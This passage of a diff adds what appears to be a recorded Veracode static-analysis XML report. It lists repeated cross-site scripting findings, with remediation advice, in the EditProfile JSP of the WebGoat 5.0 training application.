+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"5\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"83\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"257\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"111\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"115\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"200\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"102\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"195\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"125\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"61\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
